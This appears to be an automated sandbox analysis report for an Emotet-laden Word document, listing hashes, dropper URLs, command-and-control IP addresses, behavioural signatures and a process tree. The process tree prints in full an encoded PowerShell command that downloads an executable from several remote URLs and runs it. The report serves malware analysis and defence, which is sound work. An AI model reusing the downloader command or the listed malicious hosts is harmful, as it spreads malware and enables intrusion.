Analysis

  • max time kernel
    63s
  • max time network
    135s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    19/08/2020, 14:31

General

  • Target
    emotet_e2_3f78e8753bba77f894698a7713b1b8d9f616bb50a6bde110dbd587e83033f01d_2020-08-19__142917._doc.doc
  • Size 253KB
  • Sample200819-srtetf4tas
  • SHA256 3f78e8753bba77f894698a7713b1b8d9f616bb50a6bde110dbd587e83033f01d
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://easma.cn/wp-admin/yy/

  • exe.dropper

    https://adhd.org.sa/sub_mrs/Zj0ZrG/

  • exe.dropper

    http://avanwilligen.nl/vo/tUbJ/

  • exe.dropper

    http://archmedia.com.br/Blog/sVey/

  • exe.dropper

    http://bhar.com.br/caurina/tE/

  • exe.dropper

    http://radiacaoweb.com.br/ZxOf1E/

  • exe.dropper

    http://ceyhunhurcan.com/revolution-addons/mRXi8NJ/

Extracted

Family
  • emotet

C2
  • 64.183.73.122:80

  • 69.30.203.214:8080

  • 67.205.85.243:8080

  • 222.214.218.37:4143

  • 104.236.246.93:8080

  • 110.145.77.103:80

  • 89.186.91.200:443

  • 74.120.55.163:80

  • 95.179.229.244:8080

  • 70.167.215.250:8080

  • 47.146.117.214:80

  • 209.141.54.221:8080

  • 24.43.99.75:80

  • 103.86.49.11:8080

  • 142.105.151.124:443

  • 62.138.26.28:8080

  • 24.179.13.119:80

  • 37.187.72.193:8080

  • 137.59.187.107:8080

  • 97.82.79.83:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_3f78e8753bba77f894698a7713b1b8d9f616bb50a6bde110dbd587e83033f01d_2020-08-19__142917._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1088
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABPADgAcQBkADEAZABmAD0AKAAnAFIAJwArACcAMAByAGoANQB6AF8AJwApADsALgAoACcAbgAnACsAJwBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBOAHYAOgBUAEUAbQBwAFwATwBGAEYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAHUAYABSAGkAYABUAFkAYABQAFIATwBUAE8AYABjAE8AbAAiACAAPQAgACgAJwB0AGwAcwAxACcAKwAnADIALAAgAHQAJwArACcAbABzADEAMQAsACcAKwAnACAAdABsAHMAJwApADsAJABMAGEAZAAyAG0AcgBqACAAPQAgACgAJwBZAHkAJwArACcANQBtADQAcwAnACkAOwAkAEsAdgBoAHUAMAB1AHEAPQAoACcAVQByAHcAaQBnACcAKwAnAGIAMwAnACkAOwAkAEUAZAB3ADgAZgBlADQAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHkATQBrAE8AZgBmAGkAJwArACcAYwAnACsAJwBlADIAMAAxADkAJwArACcAeQBNACcAKwAnAGsAJwApAC0AYwByAGUAcABsAGEAQwBlACcAeQBNAGsAJwAsAFsAQwBoAEEAcgBdADkAMgApACsAJABMAGEAZAAyAG0AcgBqACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABDADkANQBoAGgAeAB1AD0AKAAnAFQAYQAnACsAJwA5ADQAegB4ADkAJwApADsAJABRADQAZQBhAHAAbwBvAD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAagBlAGMAJwArACcAdAAnACkAIABuAGUAdAAuAHcAZQBCAEMATABpAEUATgB0ADsAJABOAG8AeABfAF8AeQBoAD0AKAAnAGgAdAB0AHAAOgAvAC8AZQBhAHMAbQBhACcAKwAnAC4AJwArACcAYwBuAC8AdwAnACsAJwBwAC0AYQBkAG0AaQBuAC8AeQB5ACcAKwAnAC8AKgAnACsAJwBoAHQAdABwAHMAOgAvACcAKwAnAC8AYQBkAGgAZAAnACsAJwAuACcAKwAnAG8AcgBnAC4AcwBhAC8AcwB1AGIAXwBtAHIAcwAvAFoAagAwAFoAJwArACcAcgBHACcAKwAnAC8AKgBoAHQAdABwACcAKwAnADoALwAnACsAJwAvACcAKwAnAGEAdgAnACsAJwBhAG4AdwBpAGwAbABpAGcAJwArACcAZQBuAC4AbgBsAC8AdgAnACsAJwBvAC8AdABVAGIASgAnACsAJwAvACoAaAB0AHQAJwArACcAcAA6AC8ALwBhAHIAYwBoAG0AZQAnACsAJwBkAGkAJwArACcAYQAuACcAKwAnAGMAbwBtAC4AYgByAC8AQgBsAG8AZwAnACsAJwAvACcAKwAnAHMAVgBlAHkALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvAC8AYgBoAGEAcgAnACsAJwAuAGMAJwArACcAbwBtAC4AYgByAC8AYwBhAHUAcgBpAG4AYQAvAHQARQAvACoAJwArACcAaAB0AHQAcAA6ACcAKwAnAC8ALwByAGEAZABpAGEAYwAnACsAJwBhACcAKwAnAG8AdwAnACsAJwBlACcAKwAnAGIALgBjAG8AbQAuAGIAcgAvAFoAeABPAGYAJwArACcAMQAnACsAJwBFAC8AKgBoAHQAdABwADoALwAvAGMAZQB5AGgAdQBuACcAKwAnAGgAdQByAGMAYQAnACsAJwBuAC4AYwBvAG0ALwByAGUAdgBvAGwAdQB0AGkAbwBuACcAKwAnAC0AYQBkAGQAbwBuAHMALwBtAFIAWAAnACsAJwBpADgATgAnACsAJwBKAC8AJwApAC4AIgBzAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIAaQBiAHQAdAB0AGcAPQAoACcARwBhADEAJwArACcAMwAnACsAJwBoAHEANQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABHADIAXwA0AGMAcgA2ACAAaQBuACAAJABOAG8AeABfAF8AeQBoACkAewB0AHIAeQB7ACQAUQA0AGUAYQBwAG8AbwAuACIARABvAHcAYABOAEwAbwBBAGQARgBgAGkAbABlACIAKAAkAEcAMgBfADQAYwByADYALAAgACQARQBkAHcAOABmAGUANAApADsAJABFADkAMQBvAF8AawBxAD0AKAAnAEEAdgA0ACcAKwAnADAAJwArACcAdwB5AGoAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEUAZAB3ADgAZgBlADQAKQAuACIATABFAG4AYABnAGAAVABoACIAIAAtAGcAZQAgADIAMgA4ADMAMAApACAAewAuACgAJwBJAG4AdgBvAGsAJwArACcAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABFAGQAdwA4AGYAZQA0ACkAOwAkAEEAZgA5AF8AaQBoAHYAPQAoACcATwBfAGcAOQAnACsAJwA0AHAAJwArACcAbAAnACkAOwBiAHIAZQBhAGsAOwAkAFYAdwAyADgAdAB2ADQAPQAoACcARwB0ADAAMgAnACsAJwBpACcAKwAnAHgAdgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AaABnAGsANwBmADAAPQAoACcARQAnACsAJwB4AHAAbABrADYAJwArACcAaAAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:480
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Yy5m4s.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Yy5m4s.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1176
      • C:\Windows\SysWOW64\dmintf\mspaint.exe
        "C:\Windows\SysWOW64\dmintf\mspaint.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1624

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/480-17-0x000000001B4E0000-0x000000001B4E1000-memory.dmp

        memory/480-12-0x000007FEE9A40000-0x000007FEEA42C000-memory.dmp

        memory/480-14-0x000000001AC30000-0x000000001AC31000-memory.dmp

        memory/480-15-0x00000000023F0000-0x00000000023F1000-memory.dmp

        memory/480-16-0x0000000001EF0000-0x0000000001EF1000-memory.dmp

        memory/480-13-0x0000000001E20000-0x0000000001E21000-memory.dmp

        memory/480-18-0x000000001B900000-0x000000001B901000-memory.dmp

        memory/1088-5-0x000000000BF70000-0x000000000BF74000-memory.dmp

        memory/1088-2-0x0000000008980000-0x0000000008984000-memory.dmp

        memory/1088-4-0x000000000AEF0000-0x000000000AEF4000-memory.dmp

        memory/1176-21-0x00000000003E0000-0x00000000003EC000-memory.dmp

        memory/1536-26-0x000007FEEEDC0000-0x000007FEEF03A000-memory.dmp

        memory/1624-25-0x0000000000360000-0x000000000036C000-memory.dmp